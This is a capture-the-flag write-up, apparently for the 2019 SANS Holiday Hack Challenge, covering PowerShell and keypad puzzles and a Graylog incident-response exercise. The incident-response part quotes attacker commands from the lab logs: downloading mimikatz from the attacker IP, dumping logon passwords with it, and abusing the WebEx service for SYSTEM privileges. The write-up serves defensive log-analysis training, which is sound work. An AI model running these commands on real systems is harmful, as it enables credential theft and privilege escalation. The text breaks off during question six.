PS /etc> Get-ChildItem -Recurse -File -Force -Path *.xml -ErrorAction 'silentlycontinue'

Directory: /etc/systemd/system/timers.target.wants

Mode                LastWriteTime         Length Name
----
--r---            11/18/19  7:53 PM      10006962 EventLog.xml

PS /etc> 
```

```
Set-Location /etc
Get-ChildItem -Recurse -File -Force -Path *.xml -ErrorAction 'silentlycontinue'
```

We find the file at `/etc/systemd/system/timers.target.wants/EventLog.xml`
 Now we need to parse it looking for a unique event Id

```
PS /home/elf> [xml]$xml = Get-Content -Path "/etc/systemd/system/timers.target.wants/EventLog.xml"
PS /home/elf> $xml.Obj.Objs.Props.I32 | Group-Object -Property '#text' | Sort-Object -Property Count
```

Count	Name	Group
2	1	{I32, I32}
4	4	{I32, I32, I32, I32}
19	4168	{I32, I32, I32, I32...}
78	2	{I32, I32, I32, I32...}
89	4216	{I32, I32, I32, I32...}
97	6652	{I32, I32, I32, I32...}
108	5264	{I32, I32, I32, I32...}
160	6648	{I32, I32, I32, I32...}
196	6	{I32, I32, I32, I32...}
358	3	{I32, I32, I32, I32...}
859	6640	{I32, I32, I32, I32...}
1116	1960	{I32, I32, I32, I32...}
1810	5	{I32, I32, I32, I32...}

```
PS /home/elf> Get-Content -Path "/etc/systemd/system/timers.target.wants/EventLog.xml" | Select-String 'Id">1<' -Context 1 200 | Out-Host -Paging
```

```
[xml]$xml = Get-Content -Path "/etc/systemd/system/timers.target.wants/EventLog.xml"
$xml.Obj.Objs.Props.I32 | Group-Object -Property '#text' | Sort-Object -Property Count
Get-Content -Path "/etc/systemd/system/timers.target.wants/EventLog.xml" | Select-String 'Id">1<' -Context 1,200 | Out-Host -Paging
```

Performing the query on the XML shows that event Id 1 had the fewest count. The next PowerShell command will retrieve the first 200 lines of event Id 1.

```
<ToString>System.Diagnostics.Eventing.Reader.EventProperty</ToString>
<Props>
  <S N="Value">Microsoft Corporation</S>
</Props>
</Obj>
<Obj RefId="18015">
  <TNRef RefId="1806" />
  <ToString>System.Diagnostics.Eventing.Reader.EventProperty</ToString>
  <Props>
    <S N="Value">PowerShell.EXE</S>
  </Props>
</Obj>
<Obj RefId="18016">
  <TNRef RefId="1806" />
  <ToString>System.Diagnostics.Eventing.Reader.EventProperty</ToString>
  <Props>
    <S N="Value">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
-c "`$correct gases_postbody = @{'n 0=6`n H=7`n He=3`n N=4`n Ne=22`n
Ar=11`n Xe=10`n F=20`n Kr=8`n Rn=9`n}`n`n`n</S>
  </Props>
</Obj>
<Obj RefId="18017">
  <TNRef RefId="1806" />
  <ToString>System.Diagnostics.Eventing.Reader.EventProperty</ToString>
  <Props>
    <S N="Value">C:\</S>
  </Props>
</Obj>
<Obj RefId="18018">
  <TNRef RefId="1806" />
  <ToString>System.Diagnostics.Eventing.Reader.EventProperty</ToString>
  <Props>
    <S N="Value">ELFURESEARCH\allservices</S>
  </Props>
</Obj>
<Obj RefId="18019">
  <TNRef RefId="1806" />
  <ToString>System.Diagnostics.Eventing.Reader.EventProperty</ToString>
  <Props>
    <G N="Value">ba5c6bbb-5b9c-5dc4-0000-0020f55ca900</G>
  </Props>
</Obj>
<Obj RefId="18020">
  <TNRef RefId="1806" />
  <ToString>System.Diagnostics.Eventing.Reader.EventProperty</ToString>
  <Props>
    <G N="Value">ba5c6bbb-5b9c-5dc4-0000-0020f55ca900</G>
  </Props>
</Obj>
<SPACE> next page; <CR> next line; Q quit
```

Scrolling through the tags, we find that one of the `<Props>` tag sections has the **gas** value we're looking for:

O=6&H=7&He=3&N=4&Ne=22&Ar=11&Xe=10&F=20&Kr=8&Rn=9

```
$gaspost = "O=6&H=7&He=3&N=4&Ne=22&Ar=11&Xe=10&F=20&Kr=8&Rn=9"
(Invoke-WebRequest -Uri http://localhost:1225/api/gas -Method POST -Body $gaspost).RawContent
```

Now we have all the values to set the laser back to the correct settings. Adding a command to turn off the laser first, set the right 4 settings, then turn it back on and check the output - here is the final sequence that solves the challenge:

```
(Invoke-WebRequest -Uri http://localhost:1225/api/off).RawContent
(Invoke-WebRequest -Uri http://127.0.0.1:1225/api/angle?val=65.5).RawContent
(Invoke-WebRequest -Uri http://127.0.0.1:1225/api/refraction?val=1.867).RawContent
(Invoke-WebRequest -Uri http://127.0.0.1:1225/api/temperature?val=-33.5).RawContent
$gaspost = "O=6&H=7&He=3&N=4&Ne=22&Ar=11&Xe=10&F=20&Kr=8&Rn=9"
(Invoke-WebRequest -Uri http://localhost:1225/api/gas -Method POST -Body $gaspost).RawContent
(Invoke-WebRequest -Uri http://localhost:1225/api/on).RawContent
(Invoke-WebRequest -Uri http://localhost:1225/api/output).RawContent
```

```
PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/api/off).RawContent
HTTP/1.0 200 OK
Server: Werkzeug/0.16.0
Server: Python/3.6.9
Date: Thu, 26 Dec 2019 01:24:26 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 33

Christmas Cheer Laser Powered Off
PS /home/elf> (Invoke-WebRequest -Uri http://127.0.0.1:1225/api/angle?val=65.5).RawContent
HTTP/1.0 200 OK
Server: Werkzeug/0.16.0
Server: Python/3.6.9
Date: Thu, 26 Dec 2019 01:24:28 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 77

Updated Mirror Angle - Check /api/output if 5 Mega-Jollies per liter reached.
PS /home/elf> (Invoke-WebRequest -Uri http://127.0.0.1:1225/api/refraction?val=1.867).RawContent
HTTP/1.0 200 OK
Server: Werkzeug/0.16.0
Server: Python/3.6.9
Date: Thu, 26 Dec 2019 01:24:32 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 87

Updated Lense Refraction Level - Check /api/output if 5 Mega-Jollies per liter reached.
PS /home/elf> (Invoke-WebRequest -Uri http://127.0.0.1:1225/api/temperature?val=-33.5).RawContent
HTTP/1.0 200 OK
Server: Werkzeug/0.16.0
Server: Python/3.6.9
Date: Thu, 26 Dec 2019 01:22:48 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 82

Updated Laser Temperature - Check /api/output if 5 Mega-Jollies per liter reached.
PS /home/elf> $gaspost = "O=6&H=7&He=3&N=4&Ne=22&Ar=11&Xe=10&F=20&Kr=8&Rn=9"
PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/api/gas -Method POST -Body $gaspost).RawContent
HTTP/1.0 200 OK
Server: Werkzeug/0.16.0
Server: Python/3.6.9
Date: Thu, 26 Dec 2019 01:22:50 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 81

Updated Gas Measurements - Check /api/output if 5 Mega-Jollies per liter reached.
PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/api/on).RawContent
HTTP/1.0 200 OK
Server: Werkzeug/0.16.0
Server: Python/3.6.9
Date: Thu, 26 Dec 2019 01:22:51 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 32

Christmas Cheer Laser Powered On
PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/api/output).RawContent
HTTP/1.0 200 OK
Server: Werkzeug/0.16.0
Server: Python/3.6.9
Date: Thu, 26 Dec 2019 01:22:55 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 200

Success! - 6.85 Mega-Jollies of Laser Output Reached!

PS /home/elf> █
```

You have completed the Xmas Cheer Laser challenge!

Achievement - Frosty Keypad

This challenge is found in the east Quad area and interacting with Tangle Coalbox will introduce this challenge



Hey kid, it's me, Tangle Coalbox.
I'm sleuthing again, and I could use your help.
Ya see, this here number lock's been popped by someone.
I think I know who, but it'd sure be great if you could open this up for me.
I've got a few clues for you.

1. One digit is repeated once.
2. The code is a prime number.
3. You can probably tell by looking at the keypad which buttons are used.

This keypad protects the Dorm area and you cannot enter the Dorm until you solve this keypad challenge. It is also accessible directly at <https://keypad.elfu.org>

You can begin the challenge by clicking on the "Frosty Keypad" icon next to Tangle Coalbox.



By looking at the keypad, we can see based on the large smudges that keys 1, 3, 7, CLEAR and ENTER are used most often, so the code should be some combination of the numbers 1, 3 and 7. We know from Tangle Coalbox that one number is repeated once and the complete code must be a prime number.

Since many keypads default to a 4-digit pin, 1337 (leet) seems like a good guess. It has one repeating number, but unfortunately it's not a prime number being divisible by 7. However, its reverse **7331** is a prime!





Entering this valid code unlocks the Dorm area and you can now enter.

You have completed the Frosty Keypad challenge!

Achievement - Graylog


This challenge is found in the Dorm area and interacting with Pepper Minstix will introduce this challenge.




Normally I'm jollier, but this Graylog has me a bit mystified. Have you used Graylog before? It is a log management system based on Elasticsearch, MongoDB, and Scala. Some Elf U computers were hacked, and I've been tasked with performing incident response. Can you help me fill out the incident response report using our instance of Graylog? It's probably helpful if you know a few things about Graylog. Event IDs and Sysmon are important too. Have you spent time with those? Don't worry - I'm sure you can figure this all out for me! Click on the All messages Link to access the Graylog search interface! Make sure you are searching in all messages! The Elf U Graylog server has an integrated incident response reporting system. Just mouse-over the box in the lower-right corner. Login with the username elfstudent and password elfstudent.

You can begin the challenge by clicking on the "Graylog" terminal icon or you access it directly via <https://incident.elfu.org/> and <https://graylog.elfu.org/>. (Note: The incident report alone can also be accessed directly at <https://report.elfu.org>)


The graylog URL will take you to the Graylog website where you will be prompted to enter credentials. Entering the credentials provided by Pepper Minstix will take you to the main page:



From here, click on the "All messages" link and this will bring you to the search page:



For now, select in the upper left to "Search in all messages" and in the query field just enter a "*" and click the green search button.



This will get you started with seeing something in the messages window. From here you can start to fine tune your searches.


Question 1:

Minty CandyCane reported some weird activity on his computer after he clicked on a link in Firefox for a cookie recipe and downloaded a file.

You can start by searching for "minty firefox.exe" and this will get you on your way. I found it very helpful in making output clearer to **uncheck the "message" field** on the left field list and to check/enable the following if you have a wide enough screen:

- DestinationHostname
- DestinationIp
- EventID
- ParentProcessCommandLine
- ParentProcessImage
- ProcessImage
- source
- SourceHostname
- TargetFilename
- UserAccount

I also found it helpful to sort in ascending timestamp order (oldest entries first), which is not the default so for each search you need to click on the timestamp search order icon (down-arrow icon) again:



After you search around for a while, you start to see events of interest falling within this time range, so you can limit most of your searches to this range using the "absolute" option available with the blue time button in the upper left.

2019-11-19 05:23:45
2019-11-19 06:16:00

Since Sysmon event id 2 is a file creation, add this to the earlier search and the event of interest for this question is below

2019-11-19 05:28:33.000 1 428Z 2 C:\Program Files\Mozilla Firefox\firefox.exe

5f9c3021-1b70-11ea-b211-0242ac120005 Permalink Copy ID Show surrounding messages

Received by
Syslog TCP on 83d46e5e / 61a0de1ff3c0

Stored in index
graylog_0

Routed into streams
• All messages

CreationUtcTime
2019-11-19T13:23:45.428Z

EventID
2

ProcessId
2516

ProcessImage
C:\Program Files\Mozilla Firefox\firefox.exe

TargetFilename
C:\Users\minty\Downloads\cookie_recipe.exe

WindowsLogType
Microsoft-Windows-Sysmon/Operational

facility
user-level

level
6

message
elfu-res-wks1 MSWinEventLog 1 Microsoft-Windows-Sysmon/Operational 1860 Tue Nov 19 05:28:33 2019 2
mon SYSTEM User Information elfu-res-wks1 File creation time changed (rule: FileCreateTime) File cr
RuleName: UtcTime: 2019-11-19 13:23:45.428 ProcessGuid: {BASC6BBB-E8C5-5D03-0000-001045871100} ProcessId: 2516 Image: C:\F
irefox\firefox.exe TargetFilename: C:\Users\minty\Downloads\cookie_recipe.exe CreationUtcTime: 2019-11-19 13:23:45.428 Previ
19-11-19 13:23:45.428 19601

source
elfu-res-wks1

timestamp
2019-11-19 05:28:33.000 +00:00 i

The answer to Question 1 is: C:\Users\minty\Downloads\cookie_recipe.exe

Question 1:

Minty CandyCane reported some weird activity on his computer after he clicked on a link in Firefox for a cookie recipe and downloaded a file.

What is the full-path + filename of the first malicious file downloaded by Minty?

Answer: C:\Users\minty\Downloads\cookie_recipe.exe

We can find this searching for sysmon file creation event id 2 with a process named **firefox.exe** and not junk **.temp files**. We can use regular expressions to include or exclude patterns:

```
TargetFilename:/.+\.pdf/
```

Question 2:

The malicious file downloaded and executed by Minty gave the attacker remote access to his machine. What was the ip:port the malicious file connected to first?

Since Sysmon event id 3 indicates network connections and we know the name of the malicious file from question 1, the following search will give us the event of interest:

```
EventID:3 AND "*cookie_recipe.exe"
```

Timestamp	IF	source	CreationUtcTime	DestinationHostname	DestinationIp	EventID	ParentProcessCommandLine	ParentProcessImage	ProcessImage	SourceHostname	SourceHostName	SourcePort
2019-11-19 05:24:04.000		elfu-res-wks1		DEFANELF	192.168.247.175	3			C:\Users\minty\Downloads\cookie_recipe.exe	elfu-res-wks1.localdo	main	192.168.247.175

5c93f930-1b70-11ea-b211-0242ac120005

Permalink

Copy ID

Show surrounding messages

Test against st

Received by

Syslog TCP on 83d46e5e / 61a0de1ff3c0

Stored in index

graylog_0

Routed into streams

All messages

DestinationHostname

DEFANELF

DestinationIp

192.168.247.175

DestinationPort

4444

EventID

3

ProcessId

5256

ProcessImage

C:\Users\minty\Downloads\cookie_recipe.exe

Protocol

tcp

SourceHostname

elfu-res-wks1.localdomain

SourceIp

192.168.247.177

SourcePort

53564

UserAccount

minty

WindowsLogType

Microsoft-Windows-Sysmon/Operational

facility

user-level

level

6

message

elfu-res-wks1 MSWinEventLog 1 Microsoft-Windows-Sysmon/Operational 2441 Tue Nov 19 05:24:04 2019 3 Microsoft-Windows-Sysmon SYSTEM User Information elfu-res-wks1 Network connection detected (rule: NetworkConnect) Network connection detected: RuleName: UtcTime: 2019-11-19 13:24:03.757 ProcessGuid: {BASC6BBB-ECF2-5D03-0000-001086363300} ProcessId: 5256 Image: C:\Users\minty\Downloads\cookie_recipe.exe User: ELFU-RES-WKS1\minty Protocol: tcp Initiated: true SourceIsIpv6: false SourceIp: 192.168.247.177 SourceHostname: elfu-res-wks1.localdomain SourcePort: 53564 SourcePortName: 20132 DestinationIsIpv6: false DestinationIp: 192.168.247.175 DestinationHostname: DEFANELF DestinationPort: 4444 DestinationPortName: 20132

source

elfu-res-wks1

timestamp

2019-11-19 05:24:04.000 +00:00 i

The answer to Question 2 is: **192.168.247.175:4444**

Question 2:

The malicious file downloaded and executed by Minty gave the attacker remote access to his machine. What was the **ip:port** the malicious file connected to first?

Answer: 192.168.247.175:4444

We can pivot off the answer to our first question using the binary path as our **ProcessImage**.

Question 3:

What was the first command executed by the attacker?

Since Sysmon event id 1 indicates new process creation and it will likely be a child of the malicious payload we already know, the following search will give us the event of interest:

```
EventID:1 AND ParentProcessImage:"C:\\Users\\minty\\Downloads\\cookie_recipe.exe"
```

5c94bc80-1b70-11ea-b211-0242ac120005

Timestamp: 2019-11-19 05:24:15.000
Received by: Syslog TCP on IP 83d46e5e / 61a0de1f3c0
Stored in index: graylog.0

CommandLine: C:\Windows\system32\cmd.exe /c "whoami"

EventID: 1

ParentProcessCommandLine: "C:\Users\minty\Downloads\cookie_recipe.exe"

ParentProcessId: 5256

ParentProcessImage: C:\Users\minty\Downloads\cookie_recipe.exe

ProcessId: 1864

ProcessImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UserAccount: minty

WindowsLogType: Microsoft-Windows-Sysmon/Operational

facility: user-level

level: 6

message: elfu-res-wks1 MSWinEventLog 1 Microsoft-Windows-Sysmon/Operational 2442 Tue Nov 19 05:24:15 2019 1 Microsoft-Windows-Sysmon SYSTEM User Information elfu-res-wks1 Process Create (rule: ProcessCreate) Process Create: RuleName: UtcTime: 2019-11-19 13:24:15.595 ProcessGuid: {BASC68BB-ECFF-5003-0000-0010AE583300} ProcessId: 1864 Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe FileVersion: 10.0.14393.206 (rs1_release.160915-0644) Description: Windows PowerShell Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: PowerShell.EXE CommandLine: C:\Windows\system32\cmd.exe /c "whoami" CurrentDirectory: C:\Users\minty\Downloads\ User: ELFU-RES-WKS1\minty LogonGuid: {BASC68BB-E7A5-5003-0000-002082670700} LogonId: 0x76782 TerminalSessionId: 1 IntegrityLevel: High Hashes: MD5=45086C34814C02569C24D53FD24E7F51 ParentProcessGuid: {BASC68BB-ECFF-5003-0000-001866363300} ParentProcessId: 5256 ParentImage: C:\Users\minty\Downloads\cookie_recipe.exe ParentCommandLine: "C:\Users\minty\Downloads\cookie_recipe.exe" 20133

source: elfu-res-wks1

timestamp: 2019-11-19T05:24:15.000Z

5c969140-1b70-11ea-b211-0242ac120005

Timestamp: 2019-11-19 05:24:16.000
Received by: Syslog TCP on IP 83d46e5e / 61a0de1f3c0
Stored in index: graylog.0

CommandLine: "C:\Windows\system32\cmd.exe /c "whoami"

EventID: 1

ParentProcessCommandLine: C:\Windows\system32\cmd.exe /c "whoami"

ParentProcessId: 1864

ParentProcessImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

ProcessId: 5632

ProcessImage: C:\Windows\SysWOW64\whoami.exe

UserAccount: minty

WindowsLogType: Microsoft-Windows-Sysmon/Operational

facility: user-level

level: 6

message: elfu-res-wks1 MSWinEventLog 1 Microsoft-Windows-Sysmon/Operational 2443 Tue Nov 19 05:24:16 2019 1 Microsoft-Windows-Sysmon SYSTEM User Information elfu-res-wks1 Process Create (rule: ProcessCreate) Process Create: RuleName: UtcTime: 2019-11-19 13:24:16.257 ProcessGuid: {BASC68BB-ED08-5003-0000-0010C47C3200} ProcessId: 5632 Image: C:\Windows\SysWOW64\whoami.exe FileVersion: 10.0.14393.0 (rs1_release.160715-1616) Description: whoami - displays logged on user information Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: whoami.exe CommandLine: "C:\Windows\system32\whoami.exe" CurrentDirectory: C:\Users\minty\Downloads\ User: ELFU-RES-WKS1\minty LogonGuid: {BASC68BB-E7A5-5003-0000-002082670700} LogonId: 0x76782 TerminalSessionId: 1 IntegrityLevel: High Hashes: MD5=80CF93B70480B7F1F79EED05412B532F ParentProcessGuid: {BASC68BB-ECFF-5003-0000-0010AE583300} ParentProcessId: 1864 ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe ParentCommandLine: C:\Windows\system32\cmd.exe /c "whoami" 20134

source: elfu-res-wks1

timestamp: 2019-11-19T05:24:16.000Z

The answer to Question 3 is: **whoami**

Question 3:

What was the first command executed by the attacker?

(answer is a single word)

Answer: whoami

Since all commands (sysmon event id 1) by the attacker are initially running through the **cookie_recipe.exe** binary, we can set its full-path as our **ParentProcessImage** to find child processes it creates sorting on timestamp.

Question 4:

What is the one-word service name the attacker used to escalate privileges?

In this case I searched for events with this ParentProcessImage and then looked through the results looking for suspicious activity. Finding "sc start" for the *webexservice* with a parameter for "wmic process call create" on an exe in the User's download directory was the red flag ([CVE-2019-1674] / <https://www.exploit-db.com/exploits/46479>):

```
ParentProcessImage:"C:\\Users\\minty\\Downloads\\cookie_recipe.exe"
```

5cf94ab0-1b70-11ea-b211-0242ac120005
Timestamp
2019-11-19 05:31:02.000
Received by
Syslog TCP on P 83d46e5e / 61a0de1ff3c0
Stored in index
graylog_0

Permalink Copy ID Show surrounding messages Test against stream

CommandLine	C:\Windows\system32\cmd.exe /c "sc start webexservice a software-update 1 wmic process call create "cmd.exe /c C:\Users\minty\Downloads\cookie_recipe2.exe" "
EventID	1
ParentProcessCommandLine	"C:\Users\minty\Downloads\cookie_recipe.exe"
ParentProcessId	5256
ParentProcessImage	C:\Users\minty\Downloads\cookie_recipe.exe
ProcessId	740
ProcessImage	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
UserAccount	minty
WindowsLogType	Microsoft-Windows-Sysmon/Operational
facility	user-level
level	6
message	elfu-res-wks1 MSWinEventLog 1 Microsoft-Windows-Sysmon/Operational 2570 Tue Nov 19 05:31:02 2019 1 Microsoft-Windows-Sysmon SYSTEM User Information elfu-res-wks1 Process Create (rule: ProcessCreate) Process Create: RuleName: UtcTime: 2019-11-19 13:31:02.587 ProcessGuid: {BASC68BB-EE96-5D03-0000-001041783900} ProcessId: 740 Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe FileVersion: 10.0.14393.206 (rs1_release.160915.0644) Description: Windows PowerShell Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: PowerShell.EXE CommandLine: C:\Windows\system32\cmd.exe /c "sc start webexservice a software-update 1 wmic process call create "cmd.exe /c C:\Users\minty\Downloads\cookie_recipe2.exe" " CurrentDirectory: C:\Users\minty\Downloads\ User: ELFU-RES-WKS1\minty LogonGuid: {BASC68BB-E7A5-5D03-0000-002082670700} LogonId: 0x76782 TerminalSessionId: 1 IntegrityLevel: High Hashes: MD5=65080C34814C02569E2A053FD24E7F61 ParentProcessGuid: {BASC68BB-EE96-5D03-0000-001080636300} ParentProcessId: 5256 ParentImage: C:\Users\minty\Downloads\cookie_recipe.exe ParentCommandLine: "C:\Users\minty\Downloads\cookie_recipe.exe" 20256
source	elfu-res-wks1
timestamp	2019-11-19T05:31:02.000Z

5d0a1390-1b70-11ea-b211-0242ac120005
Timestamp
2019-11-19 05:31:55.000
Received by
Syslog TCP on P 83d46e5e / 61a0de1ff3c0
Stored in index
graylog_0

Permalink Copy ID Show surrounding messages Test against stream

CommandLine	sc start webexservice a software-update 1 wmic process call create cmd.exe /c C:\Users\minty\Downloads\cookie_recipe2.exe
EventID	1
ParentProcessCommandLine	"C:\Windows\system32\cmd.exe" /c sc start webexservice a software-update
ParentProcessId	1076
ParentProcessImage	C:\Windows\SysWOW64\cmd.exe
ProcessId	1388
ProcessImage	C:\Windows\SysWOW64\sc.exe
UserAccount	minty
WindowsLogType	Microsoft-Windows-Sysmon/Operational
facility	user-level
level	6
message	elfu-res-wks1 MSWinEventLog 1 Microsoft-Windows-Sysmon/Operational 2591 Tue Nov 19 05:31:55 2019 1 Microsoft-Windows-Sysmon SYSTEM User Information elfu-res-wks1 Process Create (rule: ProcessCreate) Process Create: RuleName: UtcTime: 2019-11-19 13:31:55.311 ProcessGuid: {BASC68BB-EECB-5D03-0000-00108CD73900} ProcessId: 1388 Image: C:\Windows\SysWOW64\sc.exe FileVersion: 10.0.14393.0 (rs1_release.160715-1616) Description: Service Control Manager Configuration Tool Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: sc.exe CommandLine: sc start webexservice a software-update 1 wmic process call create cmd.exe /c C:\Users\minty\Downloads\cookie_recipe2.exe CurrentDirectory: C:\Users\minty\Downloads\ User: ELFU-RES-WKS1\minty LogonGuid: {BASC68BB-E7A5-5D03-0000-002082670700} LogonId: 0x76782 TerminalSessionId: 1 IntegrityLevel: High Hashes: MD5=90C455A84669A0C08025EC3F2405A64 ParentProcessGuid: {BASC68BB-EECB-5D03-0000-0010F0053900} ParentProcessId: 1076 ParentImage: C:\Windows\SysWOW64\cmd.exe ParentCommandLine: "C:\Windows\system32\cmd.exe" /c sc start webexservice a software-update 1 wmic process call create cmd.exe /c C:\Users\minty\Downloads\cookie_recipe2.exe 20276
source	elfu-res-wks1
timestamp	2019-11-19T05:31:55.000Z

5d0ad6e0-1b70-11ea-b211-0242ac120005

Timestamp
2019-11-19 05:31:55.000

Received by
Syslog TCP on P 83d46e5e / 61a0de1ff3c0

Stored in index
graylog_0

CommandLine
C:\WebExService.exe

EventID
1

ParentProcessCommandLine
C:\Windows\system32\services.exe

ParentProcessId
592

ParentProcessImage
C:\Windows\system32\services.exe

ProcessId
2488

ProcessImage
C:\WebExService.exe

WindowsLogType
Microsoft-Windows-Sysmon/Operational

facility
user-level

level
6

message
elfu-res-wks1 MSWinEventLog 1 Microsoft-Windows-Sysmon/Operational 2592 Tue Nov 19 05:31:55 2019 1 Microsoft-Windows-Sysmon SYSTEM User Information elfu-res-wks1 Process Create (rule: ProcessCreate) Process Create: RuleName: UtcTime: 2019-11-19 13:31:55.319 ProcessGuid: {BASC68BB-E74C-5003-0000-0020E7030000} ProcessId: 2488 Image: C:\WebExService.exe FileVersion: 3211.0.1801.2200 Description: Cisco WebEx Update Service Product: Cisco WebEx Update Service Company: Cisco WebEx LLC OriginalFileName: WebExService.exe CommandLine: C:\WebExService.exe CurrentDirectory: C:\Windows\system32\ User: NT AUTHORITY\SYSTEM LoginGuid: {BASC68BB-E74C-5003-0000-0020E7030000} LogonId: 0x3e7 TerminalSessionId: 0 IntegrityLevel: System Hashes: MD5:641D81DCFB9662BAE350054B593490B ParentProcessGuid: {BASC68BB-E74C-5003-0000-001000BE0000} ParentProcessId: 592 ParentImage: C:\Windows\system32\services.exe ParentCommandLine: C:\Windows\system32\services.exe 20277

source
elfu-res-wks1

timestamp
2019-11-19T05:31:55.000Z

The answer to Question 4 is: **webexservice**

Question 4:

What is the one-word service name the attacker used to escalate privileges?

Answer: webexservice

Continuing on using the *cookie_reciper.exe* binary as our *ParentProcessImage*, we should see some more commands later on related to a service.

Question 5:

What is the file-path + filename of the binary ran by the attacker to dump credentials?

In this case I searched for events with the *ParentProcessImage* *cookie_recipe2.exe* since this is the malicious payload that was being launched by the *webexservice* and would be running with elevated privileges (SYSTEM) to dump credentials. See below where the attacker downloads a well-known credential dumping tool and saves it as *cookie.exe*. Then runs it.

ParentProcessImage: "C:\\Users\\minty\\Downloads\\cookie_recipe2.exe"

5d8a4010-1b70-11ea-b211-0242ac120005

Timestamp
2019-11-19 05:41:02.000

Received by
Syslog TCP on P 83d46e5e / 61a0de1ff3c0

Stored in index
graylog_0

CommandLine
C:\Windows\system32\cmd.exe /c "Invoke-WebRequest -Uri http://192.168.247.175/mimikatz.exe -OutFile C:\cookie.exe "

EventID
1

ParentProcessCommandLine
C:\Users\minty\Downloads\cookie_recipe2.exe

ParentProcessId
4892

ParentProcessImage
C:\Users\minty\Downloads\cookie_recipe2.exe

ProcessId
3076

ProcessImage
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WindowsLogType
Microsoft-Windows-Sysmon/Operational

facility
user-level

level
6

message
elfu-res-wks1 MSWinEventLog 1 Microsoft-Windows-Sysmon/Operational 2751 Tue Nov 19 05:41:02 2019 1 Microsoft-Windows-Sysmon SYSTEM User Information elfu-res-wks1 Process Create (rule: ProcessCreate) Process Create: RuleName: UtcTime: 2019-11-19 13:41:02.299 ProcessGuid: {BASC68BB-F0EE-5003-0000-001002AD3000} ProcessId: 3076 Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe FileVersion: 10.0.14393.206 (rs1_release.160915-0644) Description: Windows PowerShell Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: PowerShell.EXE CommandLine: C:\Windows\system32\cmd.exe /c "Invoke-WebRequest -Uri http://192.168.247.175/mimikatz.exe -OutFile C:\cookie.exe " CurrentDirectory: C:\Windows\system32\ User: NT AUTHORITY\SYSTEM LoginGuid: {BASC68BB-E74C-5003-0000-0020E7030000} LogonId: 0x3e7 TerminalSessionId: 1 IntegrityLevel: System Hashes: MD5:65D86C34814C92569E2A053D24E7F61 ParentProcessGuid: {BASC68BB-E74C-5003-0000-001000753A00} ParentProcessId: 4892 ParentImage: C:\Users\minty\Downloads\cookie_recipe2.exe ParentCommandLine: C:\Users\minty\Downloads\cookie_recipe2.exe 20426

source
elfu-res-wks1

timestamp
2019-11-19T05:41:02.000Z

5dc5e982-1b70-11ea-b211-0242ac120005

Timestamp

2019-11-19 05:45:14.000

Received by

Syslog TCP on P 83d46e5e / 61a0de1f3c0

Stored in index

graylog_0

Permalink

Copy ID

Show surrounding messages

Test against stream

CommandLine

C:\Windows\system32\cmd.exe /c "C:\cookie.exe "privilege::debug" "sekurlsa::logonpasswords" exit "

EventID

1

ParentProcessCommandLine

C:\Users\minty\Downloads\cookie_recipe2.exe

ParentProcessId

4892

ParentProcessImage

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

ProcessId

3164

ProcessImage

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WindowsLogType

Microsoft-Windows-Sysmon/Operational

facility

user-level

level

6

message

elfu-res-wks1 MSWineventlog 1 Microsoft-Windows-Sysmon/Operational 2028 Tue Nov 19 05:45:14 2019 1 Microsoft-Windows-Sysmon
SYSTEM User Information elfu-res-wks1 Process Create (rule: ProcessCreate) Process Create: RuleName: UtcTime: 2019-11-19 13:45:14.925
ProcessGuid: {B45C68BB-F1EA-5003-0000-001000000000} ProcessId: 3164 Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe FileVersion: 10.8.14393.206
(rs1) release.160915-8644) Description: Windows PowerShell Product: Microsoft Windows Operating System Company: Microsoft Corporation OriginalFileName:
PowerShell.EXE CommandLine: C:\Windows\system32\cmd.exe /c "C:\cookie.exe "privilege::debug" "sekurlsa::logonpasswords" exit " CurrentDirectory: C:\Windows
\system32\ User: NT AUTHORITY\SYSTEM LogonGuid: {B45C68BB-E74C-5003-0000-0020E7030000} LogonId: 0x3E7 TerminalSessionId: 1 IntegrityLevel: System Hashes:
MD5-65D86C34814C02569E2A053FD24E7F61 ParentProcessGuid: {B45C68BB-E74C-5003-0000-001000000000} ParentProcessId: 4892 ParentImage: C:\Users\minty\Downloads
\cookie_recipe2.exe ParentCommandLine: C:\Users\minty\Downloads\cookie_recipe2.exe 20497

source

elfu-res-wks1

timestamp

2019-11-19T05:45:14.000Z

The answer to Question 5 is: **C:\cookie.exe**

Question 5:

What is the file-path + filename of the binary ran by the attacker to dump credentials?

Answer: C:\cookie.exe

The attacker elevates privileges using the vulnerable **webexservice** to run a file called **cookie_recipe2.exe**. Let's use this binary path in our **ParentProcessImage** search.

Question 6:

The attacker pivoted to another workstation using credentials gained from Minty's computer. Which account name was used to pivot to another machine?

Patient zero was Minty's computer which is: **ELFU-RES-WKS1** and with user "minty" on that system. If we've checked/enabled the **UserAccount** and **AccountDomain** fields and do the following search below, we'll see pivot events (which require a successful logon - Event ID 4624) of interest with user **alabaster**.

```
